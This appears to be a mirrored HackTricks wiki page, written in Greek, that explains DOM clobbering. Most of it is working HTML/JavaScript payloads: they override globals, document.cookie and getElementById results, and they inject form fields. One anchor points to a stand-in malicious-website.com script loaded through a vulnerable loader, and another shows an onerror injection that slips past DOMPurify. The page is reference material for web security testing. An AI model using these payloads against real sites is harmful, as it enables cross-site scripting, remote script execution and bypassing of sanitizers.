mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
220 lines
15 KiB
Markdown
220 lines
15 KiB
Markdown
# Dom Clobbering
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## **Βασικά**
|
||
|
||
Είναι δυνατόν να δημιουργηθούν **παγκόσμιες μεταβλητές μέσα στο JS context** με τα χαρακτηριστικά **`id`** και **`name`** σε HTML tags.
|
||
```html
|
||
<form id="x"></form>
|
||
<script>
|
||
console.log(typeof document.x) //[object HTMLFormElement]
|
||
</script>
|
||
```
|
||
**Μόνο** ορισμένα στοιχεία μπορούν να χρησιμοποιήσουν το **name attribute** για να κλωνοποιήσουν παγκόσμιες μεταβλητές, αυτά είναι: `embed`, `form`, `iframe`, `image`, `img` και `object`.
|
||
|
||
Ενδιαφέρον είναι ότι όταν χρησιμοποιείτε ένα **form element** για να **κλωνοποιήσετε** μια μεταβλητή, θα λάβετε την **`toString`** τιμή του στοιχείου αυτού: `[object HTMLFormElement]`, αλλά με **anchor** η **`toString`** θα είναι το **`href`** του anchor. Επομένως, αν κλωνοποιήσετε χρησιμοποιώντας την **`a`** ετικέτα, μπορείτε να **ελέγξετε** την **τιμή** όταν αυτή **θεωρείται ως συμβολοσειρά**:
|
||
```html
|
||
<a href="controlled string" id="x"></a>
|
||
<script>
|
||
console.log(x) //controlled string
|
||
</script>
|
||
```
|
||
### Arrays & Attributes
|
||
|
||
Είναι επίσης δυνατό να **καταστραφεί ένας πίνακας** και **τα χαρακτηριστικά ενός αντικειμένου**:
|
||
```html
|
||
<a id="x">
|
||
<a id="x" name="y" href="controlled">
|
||
<script>
|
||
console.log(x[1]) //controlled
|
||
console.log(x.y) //controlled
|
||
</script></a
|
||
></a
|
||
>
|
||
```
|
||
Για να καταστρέψετε **ένα 3ο χαρακτηριστικό** (π.χ. x.y.z), πρέπει να χρησιμοποιήσετε μια **`form`**:
|
||
```html
|
||
<form id="x" name="y"><input id="z" value="controlled" /></form>
|
||
<form id="x"></form>
|
||
<script>
|
||
alert(x.y.z.value) //controlled
|
||
</script>
|
||
```
|
||
Η κλοπή περισσότερων χαρακτηριστικών είναι **πιο περίπλοκη αλλά ακόμα δυνατή**, χρησιμοποιώντας iframes:
|
||
```html
|
||
<iframe name="x" srcdoc="<a id=y href=controlled></a>"></iframe>
|
||
<style>
|
||
@import "https://google.com";
|
||
</style>
|
||
<script>
|
||
alert(x.y) //controlled
|
||
</script>
|
||
```
|
||
> [!WARNING]
|
||
> Το tag style χρησιμοποιείται για να **δώσει αρκετό χρόνο στο iframe να αποδοθεί**. Χωρίς αυτό, θα βρείτε μια ειδοποίηση **undefined**.
|
||
|
||
Για να κτυπήσετε βαθύτερα χαρακτηριστικά, μπορείτε να χρησιμοποιήσετε **iframes με html encoding** με αυτόν τον τρόπο:
|
||
```html
|
||
<iframe
|
||
name="a"
|
||
srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;#x20;name=e&amp;#x20;href=\controlled&amp;gt;<a&amp;#x20;id=d&amp;gt; name=d>' name=b>"></iframe>
|
||
<style>
|
||
@import "https://google.com";
|
||
</style>
|
||
<script>
|
||
alert(a.b.c.d.e) //controlled
|
||
</script>
|
||
```
|
||
### **Παράκαμψη Φίλτρου**
|
||
|
||
Αν ένα φίλτρο **περνάει** μέσα από τις **ιδιότητες** ενός κόμβου χρησιμοποιώντας κάτι όπως `document.getElementByID('x').attributes`, θα μπορούσες να **καταστρέψεις** την ιδιότητα **`.attributes`** και να **σπάσεις το φίλτρο**. Άλλες ιδιότητες DOM όπως **`tagName`**, **`nodeName`** ή **`parentNode`** και άλλες είναι επίσης **καταστρέψιμες**.
|
||
```html
|
||
<form id="x"></form>
|
||
<form id="y">
|
||
<input name="nodeName" />
|
||
</form>
|
||
<script>
|
||
console.log(document.getElementById("x").nodeName) //FORM
|
||
console.log(document.getElementById("y").nodeName) //[object HTMLInputElement]
|
||
</script>
|
||
```
|
||
## **Clobbering `window.someObject`**
|
||
|
||
Στην JavaScript είναι συνηθισμένο να βρίσκεις:
|
||
```javascript
|
||
var someObject = window.someObject || {}
|
||
```
|
||
Η χειραγώγηση του HTML στη σελίδα επιτρέπει την αντικατάσταση του `someObject` με έναν κόμβο DOM, ενδεχομένως εισάγοντας ευπάθειες ασφαλείας. Για παράδειγμα, μπορείτε να αντικαταστήσετε το `someObject` με ένα στοιχείο άγκυρας που δείχνει σε ένα κακόβουλο σενάριο:
|
||
```html
|
||
<a id=someObject href=//malicious-website.com/malicious.js></a>
|
||
```
|
||
Σε έναν ευάλωτο κώδικα όπως:
|
||
```html
|
||
<script>
|
||
window.onload = function () {
|
||
let someObject = window.someObject || {}
|
||
let script = document.createElement("script")
|
||
script.src = someObject.url
|
||
document.body.appendChild(script)
|
||
}
|
||
</script>
|
||
```
|
||
Αυτή η μέθοδος εκμεταλλεύεται την πηγή του script για να εκτελέσει ανεπιθύμητο κώδικα.
|
||
|
||
**Trick**: **`DOMPurify`** σας επιτρέπει να χρησιμοποιείτε το **`cid:`** πρωτόκολλο, το οποίο **δεν κωδικοποιεί URL διπλά εισαγωγικά**. Αυτό σημαίνει ότι μπορείτε να **εισάγετε ένα κωδικοποιημένο διπλό εισαγωγικό που θα αποκωδικοποιηθεί κατά την εκτέλεση**. Επομένως, η εισαγωγή κάτι όπως **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">`** θα κάνει το HTML κωδικοποιημένο `"` να **αποκωδικοποιηθεί κατά την εκτέλεση** και να **ξεφύγει** από την τιμή του χαρακτηριστικού για να **δημιουργήσει** το **`onerror`** γεγονός.
|
||
|
||
Μια άλλη τεχνική χρησιμοποιεί ένα **`form`** στοιχείο. Ορισμένες βιβλιοθήκες πελάτη ελέγχουν τα χαρακτηριστικά ενός νεοδημιουργημένου στοιχείου φόρμας για να τα καθαρίσουν. Ωστόσο, προσθέτοντας ένα `input` με `id=attributes` μέσα στη φόρμα, ουσιαστικά αντικαθιστάτε την ιδιότητα attributes, αποτρέποντας τον καθαριστή από το να έχει πρόσβαση στα πραγματικά χαρακτηριστικά.
|
||
|
||
Μπορείτε να [**βρείτε ένα παράδειγμα αυτού του τύπου clobbering σε αυτή τη CTF αναφορά**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
|
||
|
||
## Clobbering αντικειμένου εγγράφου
|
||
|
||
Σύμφωνα με την τεκμηρίωση, είναι δυνατόν να αντικαταστήσετε τα χαρακτηριστικά του αντικειμένου εγγράφου χρησιμοποιώντας DOM Clobbering:
|
||
|
||
> Η [Document](https://html.spec.whatwg.org/multipage/dom.html#document) διεπαφή [υποστηρίζει ονομαστικές ιδιότητες](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Οι [υποστηριζόμενες ονομασίες ιδιοτήτων](https://webidl.spec.whatwg.org/#dfn-supported-property-names) ενός [Document](https://html.spec.whatwg.org/multipage/dom.html#document) αντικειμένου εγγράφου σε οποιαδήποτε στιγμή αποτελούνται από τα εξής, σε [δενδροειδή διάταξη](https://dom.spec.whatwg.org/#concept-tree-order) σύμφωνα με το στοιχείο που τα συνέβαλε, αγνοώντας αργότερα διπλότυπα, και με τιμές από [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) χαρακτηριστικά να έρχονται πριν από τις τιμές από χαρακτηριστικά name όταν το ίδιο στοιχείο συμβάλλει και στα δύο:
|
||
>
|
||
> \- Η τιμή του χαρακτηριστικού περιεχομένου name για όλα τα [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), και [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) στοιχεία που έχουν μη κενό χαρακτηριστικό περιεχομένου name και είναι [σε ένα δέντρο εγγράφου](https://dom.spec.whatwg.org/#in-a-document-tree) με το έγγραφο ως [ρίζα](https://dom.spec.whatwg.org/#concept-tree-root);\
|
||
> \
|
||
> \- Η τιμή του χαρακτηριστικού περιεχομένου [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) για όλα τα [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) στοιχεία που έχουν μη κενό χαρακτηριστικό περιεχομένου [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) και είναι [σε ένα δέντρο εγγράφου](https://dom.spec.whatwg.org/#in-a-document-tree) με το έγγραφο ως [ρίζα](https://dom.spec.whatwg.org/#concept-tree-root);\
|
||
> \
|
||
> \- Η τιμή του χαρακτηριστικού περιεχομένου [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) για όλα τα [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) στοιχεία που έχουν τόσο μη κενό χαρακτηριστικό περιεχομένου [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) όσο και μη κενό χαρακτηριστικό περιεχομένου name, και είναι [σε ένα δέντρο εγγράφου](https://dom.spec.whatwg.org/#in-a-document-tree) με το έγγραφο ως [ρίζα](https://dom.spec.whatwg.org/#concept-tree-root).
|
||
|
||
Χρησιμοποιώντας αυτή την τεχνική μπορείτε να αντικαταστήσετε κοινώς χρησιμοποιούμενες **τιμές όπως `document.cookie`, `document.body`, `document.children`**, και ακόμη και μεθόδους στη διεπαφή Document όπως `document.querySelector`.
|
||
```javascript
|
||
document.write("<img name=cookie />")
|
||
|
||
document.cookie
|
||
<img name="cookie">
|
||
|
||
typeof(document.cookie)
|
||
'object'
|
||
|
||
//Something more sanitize friendly than a img tag
|
||
document.write("<form name=cookie><input id=toString></form>")
|
||
|
||
document.cookie
|
||
HTMLCollection(2) [img, form, cookie: img]
|
||
|
||
typeof(document.cookie)
|
||
'object
|
||
```
|
||
## Γράφοντας μετά το στοιχείο που έχει καταστραφεί
|
||
|
||
Τα αποτελέσματα των κλήσεων σε **`document.getElementById()`** και **`document.querySelector()`** μπορούν να τροποποιηθούν με την εισαγωγή ενός `<html>` ή `<body>` tag με ταυτόσημο id attribute. Να πώς μπορεί να γίνει αυτό:
|
||
```html
|
||
<div style="display:none" id="cdnDomain" class="x">test</div>
|
||
<p>
|
||
<html id="cdnDomain" class="x">
|
||
clobbered
|
||
</html>
|
||
<script>
|
||
alert(document.getElementById("cdnDomain").innerText) // Clobbered
|
||
alert(document.querySelector(".x").innerText) // Clobbered
|
||
</script>
|
||
</p>
|
||
```
|
||
Επιπλέον, με την εφαρμογή στυλ για την απόκρυψη αυτών των εισαγόμενων HTML/body ετικετών, μπορεί να αποτραπεί η παρεμβολή από άλλο κείμενο στο `innerText`, ενισχύοντας έτσι την αποτελεσματικότητα της επίθεσης:
|
||
```html
|
||
<div style="display:none" id="cdnDomain">test</div>
|
||
<p>existing text</p>
|
||
<html id="cdnDomain">
|
||
clobbered
|
||
</html>
|
||
<style>
|
||
p {
|
||
display: none;
|
||
}
|
||
</style>
|
||
<script>
|
||
alert(document.getElementById("cdnDomain").innerText) // Clobbered
|
||
</script>
|
||
```
|
||
Οι έρευνες σχετικά με το SVG αποκάλυψαν ότι μια ετικέτα `<body>` μπορεί επίσης να χρησιμοποιηθεί αποτελεσματικά:
|
||
```html
|
||
<div style="display:none" id="cdnDomain">example.com</div>
|
||
<svg>
|
||
<body id="cdnDomain">
|
||
clobbered
|
||
</body>
|
||
</svg>
|
||
<script>
|
||
alert(document.getElementById("cdnDomain").innerText) // Clobbered
|
||
</script>
|
||
```
|
||
Για να λειτουργήσει η ετικέτα HTML μέσα σε SVG σε προγράμματα περιήγησης όπως το Chrome και το Firefox, είναι απαραίτητη μια ετικέτα `<foreignobject>`:
|
||
```html
|
||
<div style="display:none" id="cdnDomain">example.com</div>
|
||
<svg>
|
||
<foreignobject>
|
||
<html id="cdnDomain">
|
||
clobbered
|
||
</html>
|
||
</foreignobject>
|
||
</svg>
|
||
<script>
|
||
alert(document.getElementById("cdnDomain").innerText) // Clobbered
|
||
</script>
|
||
```
|
||
## Clobbering Forms
|
||
|
||
Είναι δυνατόν να προσθέσετε **νέες καταχωρίσεις μέσα σε μια φόρμα** απλά καθορίζοντας το **attribute `form`** μέσα σε ορισμένα tags. Μπορείτε να το χρησιμοποιήσετε για να **προσθέσετε νέες τιμές μέσα σε μια φόρμα** και ακόμη και να προσθέσετε ένα νέο **κουμπί** για να **το στείλετε** (clickjacking ή εκμεταλλευόμενοι κάποιο `.click()` JS κώδικα):
|
||
```html
|
||
<!--Add a new attribute and a new button to send-->
|
||
<textarea form="id-other-form" name="info">
|
||
";alert(1);//
|
||
</textarea>
|
||
<button form="id-other-form" type="submit" formaction="/edit" formmethod="post">
|
||
Click to send!
|
||
</button>
|
||
```
|
||
- Για περισσότερα χαρακτηριστικά φόρμας στο [**κουμπί ελέγξτε αυτό**](https://www.w3schools.com/tags/tag_button.asp)**.**
|
||
|
||
## Αναφορές
|
||
|
||
- [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
||
- [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
|
||
- Heyes, Gareth. JavaScript για χάκερ: Μάθε να σκέφτεσαι σαν χάκερ.
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|